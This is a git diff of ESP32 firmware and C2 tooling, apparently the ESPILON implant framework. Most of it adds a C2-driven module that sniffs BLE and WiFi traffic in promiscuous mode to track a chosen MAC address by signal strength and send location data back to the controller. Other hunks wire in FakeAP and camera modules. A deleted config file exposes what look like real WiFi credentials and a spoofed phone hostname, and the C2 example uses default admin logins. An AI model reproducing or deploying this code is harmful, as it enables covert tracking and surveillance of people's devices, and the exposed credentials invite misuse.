* Send MLAT data to C2 via msg_info
|
||||
* Format GPS: MLAT:G;<lat>;<lon>;<rssi>
|
||||
* Format Local: MLAT:L;<x>;<y>;<rssi>
|
||||
* The C2 will parse messages starting with "MLAT:" and extract the data
|
||||
*/
|
||||
if (coord_type == COORD_GPS) {
|
||||
snprintf(msg, sizeof(msg), "MLAT:G;%.6f;%.6f;%d",
|
||||
scanner_lat, scanner_lon, avg_rssi);
|
||||
ESP_LOGD(TAG, "sent: GPS=(%.6f,%.6f) rssi=%d (avg of %d)",
|
||||
scanner_lat, scanner_lon, avg_rssi, rssi_count);
|
||||
} else {
|
||||
snprintf(msg, sizeof(msg), "MLAT:L;%.2f;%.2f;%d",
|
||||
scanner_x, scanner_y, avg_rssi);
|
||||
ESP_LOGD(TAG, "sent: local=(%.2f,%.2f)m rssi=%d (avg of %d)",
|
||||
scanner_x, scanner_y, avg_rssi, rssi_count);
|
||||
}
|
||||
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
send_task_handle = NULL;
|
||||
ESP_LOGI(TAG, "send task stopped");
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* BLE INIT / DEINIT
|
||||
* ============================================================ */
|
||||
static bool ble_init(void)
|
||||
{
|
||||
if (ble_initialized) {
|
||||
return true;
|
||||
}
|
||||
|
||||
esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
|
||||
|
||||
esp_err_t ret = esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT);
|
||||
if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) {
|
||||
ESP_LOGE(TAG, "bt mem release failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
ret = esp_bt_controller_init(&bt_cfg);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "bt controller init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
ret = esp_bt_controller_enable(ESP_BT_MODE_BLE);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "bt controller enable failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
ret = esp_bluedroid_init();
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "bluedroid init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
ret = esp_bluedroid_enable();
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "bluedroid enable failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
ret = esp_ble_gap_register_callback(ble_scan_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "gap register callback failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
esp_ble_scan_params_t scan_params = {
|
||||
.scan_type = BLE_SCAN_TYPE_ACTIVE,
|
||||
.own_addr_type = BLE_ADDR_TYPE_PUBLIC,
|
||||
.scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL,
|
||||
.scan_interval = 0x50,
|
||||
.scan_window = 0x30,
|
||||
.scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE
|
||||
};
|
||||
|
||||
ret = esp_ble_gap_set_scan_params(&scan_params);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set scan params failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
ble_initialized = true;
|
||||
ESP_LOGI(TAG, "BLE initialized");
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool ble_start_scan(void)
|
||||
{
|
||||
esp_err_t ret = esp_ble_gap_start_scanning(0); /* 0 = continuous */
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "start BLE scanning failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void ble_stop_scan(void)
|
||||
{
|
||||
esp_ble_gap_stop_scanning();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WIFI PROMISCUOUS INIT / DEINIT
|
||||
* ============================================================ */
|
||||
static bool wifi_promisc_init(void)
|
||||
{
|
||||
if (wifi_promisc_enabled) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Enable promiscuous mode */
|
||||
esp_err_t ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set promiscuous failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Register callback */
|
||||
ret = esp_wifi_set_promiscuous_rx_cb(wifi_promisc_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set promiscuous cb failed: %s", esp_err_to_name(ret));
|
||||
esp_wifi_set_promiscuous(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Filter only management frames */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
wifi_promisc_enabled = true;
|
||||
ESP_LOGI(TAG, "WiFi promiscuous mode enabled");
|
||||
return true;
|
||||
}
|
||||
|
||||
static void wifi_promisc_deinit(void)
|
||||
{
|
||||
if (!wifi_promisc_enabled) return;
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
wifi_promisc_enabled = false;
|
||||
ESP_LOGI(TAG, "WiFi promiscuous mode disabled");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* START / STOP SCANNING
|
||||
* ============================================================ */
|
||||
static bool start_scanning(void)
|
||||
{
|
||||
reset_rssi_history();
|
||||
|
||||
if (mlat_mode == MLAT_MODE_BLE) {
|
||||
if (!ble_init()) return false;
|
||||
if (!ble_start_scan()) return false;
|
||||
}
|
||||
else if (mlat_mode == MLAT_MODE_WIFI) {
|
||||
if (!wifi_promisc_init()) return false;
|
||||
|
||||
/* Start channel hop task for WiFi */
|
||||
BaseType_t ret = xTaskCreate(
|
||||
channel_hop_task,
|
||||
"mlat_hop",
|
||||
2048,
|
||||
NULL,
|
||||
4,
|
||||
&hop_task_handle
|
||||
);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "failed to create hop task");
|
||||
wifi_promisc_deinit();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/* Start send task */
|
||||
BaseType_t ret = xTaskCreate(
|
||||
mlat_send_task,
|
||||
"mlat_send",
|
||||
4096,
|
||||
NULL,
|
||||
5,
|
||||
&send_task_handle
|
||||
);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "failed to create send task");
|
||||
if (mlat_mode == MLAT_MODE_BLE) {
|
||||
ble_stop_scan();
|
||||
} else {
|
||||
wifi_promisc_deinit();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void stop_scanning(void)
|
||||
{
|
||||
if (mlat_mode == MLAT_MODE_BLE) {
|
||||
ble_stop_scan();
|
||||
}
|
||||
else if (mlat_mode == MLAT_MODE_WIFI) {
|
||||
wifi_promisc_deinit();
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: mlat config <gps|local> <coord1> <coord2>
|
||||
* mlat config gps <lat> <lon> - GPS coordinates (degrees)
|
||||
* mlat config local <x> <y> - Local coordinates (meters)
|
||||
* mlat config <lat> <lon> - Backward compat: GPS mode
|
||||
* ============================================================ */
|
||||
static int cmd_mlat_config(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 2) {
|
||||
msg_error(TAG, "usage: mlat config [gps|local] <coord1> <coord2>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char msg[100];
|
||||
|
||||
/* Check if first arg is coordinate type */
|
||||
if (argc == 3 && strcasecmp(argv[0], "gps") == 0) {
|
||||
/* GPS mode: mlat config gps <lat> <lon> */
|
||||
double lat = strtod(argv[1], NULL);
|
||||
double lon = strtod(argv[2], NULL);
|
||||
|
||||
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
|
||||
msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
coord_type = COORD_GPS;
|
||||
scanner_lat = lat;
|
||||
scanner_lon = lon;
|
||||
mlat_configured = true;
|
||||
|
||||
snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon);
|
||||
msg_info(TAG, msg, req);
|
||||
ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon);
|
||||
}
|
||||
else if (argc == 3 && strcasecmp(argv[0], "local") == 0) {
|
||||
/* Local mode: mlat config local <x> <y> */
|
||||
double x = strtod(argv[1], NULL);
|
||||
double y = strtod(argv[2], NULL);
|
||||
|
||||
coord_type = COORD_LOCAL;
|
||||
scanner_x = x;
|
||||
scanner_y = y;
|
||||
mlat_configured = true;
|
||||
|
||||
snprintf(msg, sizeof(msg), "Local position: (%.2f, %.2f) meters", x, y);
|
||||
msg_info(TAG, msg, req);
|
||||
ESP_LOGI(TAG, "configured local: x=%.2f y=%.2f", scanner_x, scanner_y);
|
||||
}
|
||||
else if (argc == 2) {
|
||||
/* Backward compat: mlat config <lat> <lon> -> GPS mode */
|
||||
double lat = strtod(argv[0], NULL);
|
||||
double lon = strtod(argv[1], NULL);
|
||||
|
||||
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
|
||||
msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
coord_type = COORD_GPS;
|
||||
scanner_lat = lat;
|
||||
scanner_lon = lon;
|
||||
mlat_configured = true;
|
||||
|
||||
snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon);
|
||||
msg_info(TAG, msg, req);
|
||||
ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon);
|
||||
}
|
||||
else {
|
||||
msg_error(TAG, "usage: mlat config [gps|local] <coord1> <coord2>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: mlat mode <ble|wifi>
|
||||
* ============================================================ */
|
||||
static int cmd_mlat_mode(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 1) {
|
||||
msg_error(TAG, "usage: mlat mode <ble|wifi>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (mlat_running) {
|
||||
msg_error(TAG, "stop scanning first", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *mode_str = argv[0];
|
||||
|
||||
if (strcasecmp(mode_str, "ble") == 0) {
|
||||
mlat_mode = MLAT_MODE_BLE;
|
||||
}
|
||||
else if (strcasecmp(mode_str, "wifi") == 0) {
|
||||
mlat_mode = MLAT_MODE_WIFI;
|
||||
}
|
||||
else {
|
||||
msg_error(TAG, "invalid mode (use: ble, wifi)", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char msg[32];
|
||||
snprintf(msg, sizeof(msg), "mode set to %s", mode_to_str(mlat_mode));
|
||||
msg_info(TAG, msg, req);
|
||||
|
||||
ESP_LOGI(TAG, "mode changed to %s", mode_to_str(mlat_mode));
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: mlat start <mac>
|
||||
* ============================================================ */
|
||||
static int cmd_mlat_start(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 1) {
|
||||
msg_error(TAG, "usage: mlat start <mac>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (mlat_running) {
|
||||
msg_error(TAG, "already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!mlat_configured) {
|
||||
msg_error(TAG, "not configured - run 'mlat config [gps|local] <c1> <c2>' first", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Parse target MAC */
|
||||
if (!parse_mac_str(argv[0], target_mac)) {
|
||||
msg_error(TAG, "invalid MAC address", req);
|
||||
return -1;
|
||||
}
|
||||
mac_to_str(target_mac, target_mac_str, sizeof(target_mac_str));
|
||||
|
||||
mlat_running = true;
|
||||
|
||||
if (!start_scanning()) {
|
||||
mlat_running = false;
|
||||
msg_error(TAG, "scan start failed", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char msg[128];
|
||||
if (coord_type == COORD_GPS) {
|
||||
snprintf(msg, sizeof(msg), "scanning for %s at GPS(%.6f, %.6f) [%s]",
|
||||
target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode));
|
||||
ESP_LOGI(TAG, "started: target=%s GPS=(%.6f,%.6f) mode=%s",
|
||||
target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode));
|
||||
} else {
|
||||
snprintf(msg, sizeof(msg), "scanning for %s at local(%.2f, %.2f)m [%s]",
|
||||
target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode));
|
||||
ESP_LOGI(TAG, "started: target=%s local=(%.2f,%.2f)m mode=%s",
|
||||
target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode));
|
||||
}
|
||||
msg_info(TAG, msg, req);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: mlat stop
|
||||
* ============================================================ */
|
||||
static int cmd_mlat_stop(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!mlat_running) {
|
||||
msg_error(TAG, "not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
mlat_running = false;
|
||||
stop_scanning();
|
||||
|
||||
msg_info(TAG, "stopped", req);
|
||||
ESP_LOGI(TAG, "stopped");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: mlat status
|
||||
* ============================================================ */
|
||||
static int cmd_mlat_status(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
char msg[180];
|
||||
const char *coord_str = (coord_type == COORD_GPS) ? "GPS" : "Local";
|
||||
|
||||
if (!mlat_configured) {
|
||||
snprintf(msg, sizeof(msg), "not configured | mode=%s", mode_to_str(mlat_mode));
|
||||
msg_info(TAG, msg, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Format position based on coord type */
|
||||
char pos_str[60];
|
||||
if (coord_type == COORD_GPS) {
|
||||
snprintf(pos_str, sizeof(pos_str), "GPS=(%.6f,%.6f)", scanner_lat, scanner_lon);
|
||||
} else {
|
||||
snprintf(pos_str, sizeof(pos_str), "local=(%.2f,%.2f)m", scanner_x, scanner_y);
|
||||
}
|
||||
|
||||
if (mlat_running) {
|
||||
int8_t avg = get_average_rssi();
|
||||
if (mlat_mode == MLAT_MODE_WIFI) {
|
||||
snprintf(msg, sizeof(msg),
|
||||
"running [%s] | %s | target=%s | rssi=%d (%d) | ch=%d",
|
||||
mode_to_str(mlat_mode), pos_str,
|
||||
target_mac_str, avg, rssi_count, current_channel);
|
||||
} else {
|
||||
snprintf(msg, sizeof(msg),
|
||||
"running [%s] | %s | target=%s | rssi=%d (%d samples)",
|
||||
mode_to_str(mlat_mode), pos_str,
|
||||
target_mac_str, avg, rssi_count);
|
||||
}
|
||||
} else {
|
||||
snprintf(msg, sizeof(msg),
|
||||
"stopped | mode=%s | %s",
|
||||
mode_to_str(mlat_mode), pos_str);
|
||||
}
|
||||
|
||||
msg_info(TAG, msg, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND DEFINITIONS
|
||||
* ============================================================ */
|
||||
static const command_t cmd_mlat_config_def = {
|
||||
.name = "mlat",
|
||||
.sub = "config",
|
||||
.help = "Set position: mlat config [gps|local] <c1> <c2>",
|
||||
.handler = cmd_mlat_config,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 2,
|
||||
.max_args = 3
|
||||
};
|
||||
|
||||
static const command_t cmd_mlat_mode_def = {
|
||||
.name = "mlat",
|
||||
.sub = "mode",
|
||||
.help = "Set scan mode: mlat mode <ble|wifi>",
|
||||
.handler = cmd_mlat_mode,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 1,
|
||||
.max_args = 1
|
||||
};
|
||||
|
||||
static const command_t cmd_mlat_start_def = {
|
||||
.name = "mlat",
|
||||
.sub = "start",
|
||||
.help = "Start scanning: mlat start <mac>",
|
||||
.handler = cmd_mlat_start,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 1,
|
||||
.max_args = 1
|
||||
};
|
||||
|
||||
static const command_t cmd_mlat_stop_def = {
|
||||
.name = "mlat",
|
||||
.sub = "stop",
|
||||
.help = "Stop scanning",
|
||||
.handler = cmd_mlat_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 0,
|
||||
.max_args = 0
|
||||
};
|
||||
|
||||
static const command_t cmd_mlat_status_def = {
|
||||
.name = "mlat",
|
||||
.sub = "status",
|
||||
.help = "Show MLAT status",
|
||||
.handler = cmd_mlat_status,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 0,
|
||||
.max_args = 0
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER
|
||||
* ============================================================ */
|
||||
void mod_mlat_register_commands(void)
|
||||
{
|
||||
command_register(&cmd_mlat_config_def);
|
||||
command_register(&cmd_mlat_mode_def);
|
||||
command_register(&cmd_mlat_start_def);
|
||||
command_register(&cmd_mlat_stop_def);
|
||||
command_register(&cmd_mlat_status_def);
|
||||
ESP_LOGI(TAG, "commands registered (BLE+WiFi)");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_RECON_MODE_MLAT */
|
||||
@ -98,18 +98,79 @@ static int cmd_system_uptime(
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: system_info
|
||||
* ============================================================ */
|
||||
static int cmd_system_info(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
esp_chip_info_t chip_info;
|
||||
esp_chip_info(&chip_info);
|
||||
|
||||
uint32_t heap_free = esp_get_free_heap_size();
|
||||
uint64_t uptime_sec = esp_timer_get_time() / 1000000ULL;
|
||||
|
||||
char buf[512];
|
||||
int len = 0;
|
||||
|
||||
len += snprintf(buf + len, sizeof(buf) - len,
|
||||
"chip=%s cores=%d flash=%s heap=%"PRIu32" uptime=%llus modules=",
|
||||
CONFIG_IDF_TARGET,
|
||||
chip_info.cores,
|
||||
(chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external",
|
||||
heap_free,
|
||||
(unsigned long long)uptime_sec
|
||||
);
|
||||
|
||||
// List loaded modules
|
||||
int first = 1;
|
||||
#ifdef CONFIG_MODULE_NETWORK
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%snetwork", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sfakeap", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_RECON
|
||||
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%scamera", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_RECON_MODE_MLAT
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%smlat", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
if (first) {
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "none");
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t system_cmds[] = {
|
||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false }
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
|
||||
{ "system_info", 0, 0, cmd_system_info, NULL, false }
|
||||
};
|
||||
|
||||
void mod_system_register_commands(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Registering system commands");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering system commands");
|
||||
|
||||
for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) {
|
||||
command_register(&system_cmds[i]);
|
||||
|
||||
@ -102,9 +102,12 @@ config RECON_MODE_CAMERA
|
||||
bool "Enable Camera Reconnaissance"
|
||||
default n
|
||||
|
||||
config RECON_MODE_BLE_TRILAT
|
||||
bool "Enable BLE Trilateration Reconnaissance"
|
||||
config RECON_MODE_MLAT
|
||||
bool "Enable MLAT (Multilateration) Module"
|
||||
default n
|
||||
help
|
||||
Enable multilateration positioning using RSSI measurements.
|
||||
Mode (BLE or WiFi) is selected at runtime from C2.
|
||||
|
||||
endmenu
|
||||
|
||||
@ -123,4 +126,52 @@ config CRYPTO_NONCE
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Logging
|
||||
################################################
|
||||
menu "Logging"
|
||||
|
||||
choice ESPILON_LOG_LEVEL
|
||||
prompt "Default log level"
|
||||
default ESPILON_LOG_LEVEL_INFO
|
||||
|
||||
config ESPILON_LOG_LEVEL_ERROR
|
||||
bool "Error"
|
||||
|
||||
config ESPILON_LOG_LEVEL_WARN
|
||||
bool "Warn"
|
||||
|
||||
config ESPILON_LOG_LEVEL_INFO
|
||||
bool "Info"
|
||||
|
||||
config ESPILON_LOG_LEVEL_DEBUG
|
||||
bool "Debug"
|
||||
|
||||
config ESPILON_LOG_LEVEL_VERBOSE
|
||||
bool "Verbose"
|
||||
|
||||
endchoice
|
||||
|
||||
config ESPILON_LOG_CMD_REG_VERBOSE
|
||||
bool "Verbose command registration logs"
|
||||
default n
|
||||
help
|
||||
If enabled, log each command registration.
|
||||
Otherwise, a single summary line is printed.
|
||||
|
||||
config ESPILON_LOG_C2_VERBOSE
|
||||
bool "Verbose C2 command logs"
|
||||
default n
|
||||
help
|
||||
If enabled, print the full C2 command block
|
||||
(name, argc, request id, args).
|
||||
|
||||
config ESPILON_LOG_BOOT_SUMMARY
|
||||
bool "Show boot summary header"
|
||||
default y
|
||||
help
|
||||
Print a BOOT SUMMARY header at startup.
|
||||
|
||||
endmenu
|
||||
|
||||
endmenu
|
||||
|
||||
@ -12,8 +12,46 @@
|
||||
#include "command.h"
|
||||
#include "cmd_system.h"
|
||||
|
||||
/* Module headers */
|
||||
#ifdef CONFIG_MODULE_NETWORK
|
||||
#include "cmd_network.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
#include "cmd_fakeAP.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_RECON
|
||||
#include "cmd_recon.h"
|
||||
#endif
|
||||
|
||||
static const char *TAG = "MAIN";
|
||||
|
||||
static esp_log_level_t espilon_log_level_from_kconfig(void)
|
||||
{
|
||||
#if defined(CONFIG_ESPILON_LOG_LEVEL_ERROR)
|
||||
return ESP_LOG_ERROR;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_WARN)
|
||||
return ESP_LOG_WARN;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_INFO)
|
||||
return ESP_LOG_INFO;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_DEBUG)
|
||||
return ESP_LOG_DEBUG;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_VERBOSE)
|
||||
return ESP_LOG_VERBOSE;
|
||||
#else
|
||||
return ESP_LOG_INFO;
|
||||
#endif
|
||||
}
|
||||
|
||||
static void espilon_log_init(void)
|
||||
{
|
||||
esp_log_level_set("*", espilon_log_level_from_kconfig());
|
||||
#ifdef CONFIG_ESPILON_LOG_BOOT_SUMMARY
|
||||
ESPILON_LOGI_PURPLE(TAG, "===== BOOT SUMMARY =====");
|
||||
#endif
|
||||
}
|
||||
|
||||
static void init_nvs(void)
|
||||
{
|
||||
esp_err_t ret = nvs_flash_init();
|
||||
@ -27,10 +65,10 @@ static void init_nvs(void)
|
||||
|
||||
void app_main(void)
|
||||
{
|
||||
espilon_log_init();
|
||||
ESP_LOGI(TAG, "Booting system");
|
||||
|
||||
init_nvs();
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
|
||||
/* =====================================================
|
||||
* Command system
|
||||
@ -39,26 +77,34 @@ void app_main(void)
|
||||
command_async_init(); // Async worker (Core 1)
|
||||
mod_system_register_commands();
|
||||
|
||||
/* Register enabled modules */
|
||||
#ifdef CONFIG_MODULE_NETWORK
|
||||
#include "cmd_network.h"
|
||||
mod_network_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "Network module loaded");
|
||||
#endif
|
||||
|
||||
#elif defined(CONFIG_MODULE_FAKEAP)
|
||||
#include "cmd_fakeAP.h"
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
mod_fakeap_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "FakeAP module loaded");
|
||||
#endif
|
||||
|
||||
#elif defined(CONFIG_MODULE_RECON)
|
||||
#include "cmd_recon.h"
|
||||
#ifdef CONFIG_MODULE_RECON
|
||||
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||
mod_camera_register_commands();
|
||||
#elif defined(CONFIG_RECON_MODE_BLE_TRILAT)
|
||||
mod_ble_trilat_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "Camera module loaded");
|
||||
#endif
|
||||
#ifdef CONFIG_RECON_MODE_MLAT
|
||||
mod_mlat_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "MLAT module loaded");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
command_log_registry_summary();
|
||||
|
||||
/* =====================================================
|
||||
* Network backend
|
||||
* ===================================================== */
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
if (!com_init()) {
|
||||
ESP_LOGE(TAG, "Network backend init failed");
|
||||
return;
|
||||
|
||||
@ -1,16 +0,0 @@
|
||||
CONFIG_ID="f34592e0"
|
||||
CONFIG_WIFI_SSID="Livebox-CC80"
|
||||
CONFIG_WIFI_PASS="PqKXRmcprmeWChcfQD"
|
||||
CONFIG_SERVER_IP="192.168.1.13"
|
||||
CONFIG_SERVER_PORT=2626
|
||||
CONFIG_MBEDTLS_CHACHA20_C=y
|
||||
CONFIG_LWIP_IPV4_NAPT=y
|
||||
CONFIG_LWIP_IPV4_NAPT_PORTMAP=y
|
||||
CONFIG_LWIP_IP_FORWARD=y
|
||||
CONFIG_LWIP_LOCAL_HOSTNAME="pixel-8-pro"
|
||||
CONFIG_ENABLE_CAMERA=n
|
||||
|
||||
# Bluetooth configuration
|
||||
CONFIG_BT_ENABLED=y
|
||||
CONFIG_BT_BLUEDROID_ENABLED=y
|
||||
CONFIG_BT_BLE_ENABLED=y
|
||||
47
tools/c2/.env.example
Normal file
47
tools/c2/.env.example
Normal file
@ -0,0 +1,47 @@
|
||||
# ESPILON C2 Configuration
|
||||
# Copy this file to .env and adjust values
|
||||
|
||||
# ===================
|
||||
# C2 Server
|
||||
# ===================
|
||||
C2_HOST=0.0.0.0
|
||||
C2_PORT=2626
|
||||
|
||||
# ===================
|
||||
# Camera Server
|
||||
# ===================
|
||||
# UDP receiver for camera frames
|
||||
UDP_HOST=0.0.0.0
|
||||
UDP_PORT=5000
|
||||
UDP_BUFFER_SIZE=65535
|
||||
|
||||
# Web server for viewing streams
|
||||
WEB_HOST=0.0.0.0
|
||||
WEB_PORT=8000
|
||||
|
||||
# ===================
|
||||
# Security
|
||||
# ===================
|
||||
# Token for authenticating camera frames (must match ESP firmware)
|
||||
CAMERA_SECRET_TOKEN=Sup3rS3cretT0k3n
|
||||
|
||||
# Flask session secret (change in production!)
|
||||
FLASK_SECRET_KEY=change_this_for_prod
|
||||
|
||||
# Web interface credentials
|
||||
WEB_USERNAME=admin
|
||||
WEB_PASSWORD=admin
|
||||
|
||||
# ===================
|
||||
# Storage
|
||||
# ===================
|
||||
# Directory for camera frame storage (relative to c2 root)
|
||||
IMAGE_DIR=static/streams
|
||||
|
||||
# ===================
|
||||
# Video Recording
|
||||
# ===================
|
||||
VIDEO_ENABLED=true
|
||||
VIDEO_PATH=static/streams/record.avi
|
||||
VIDEO_FPS=10
|
||||
VIDEO_CODEC=MJPG
|
||||
102
tools/c2/c3po.py
102
tools/c2/c3po.py
@ -3,22 +3,24 @@ import socket
|
||||
import threading
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import argparse
|
||||
|
||||
from core.registry import DeviceRegistry
|
||||
from core.transport import Transport
|
||||
from logs.manager import LogManager
|
||||
from log.manager import LogManager
|
||||
from cli.cli import CLI
|
||||
from commands.registry import CommandRegistry
|
||||
from commands.reboot import RebootCommand
|
||||
from core.groups import GroupRegistry
|
||||
from utils.constant import HOST, PORT
|
||||
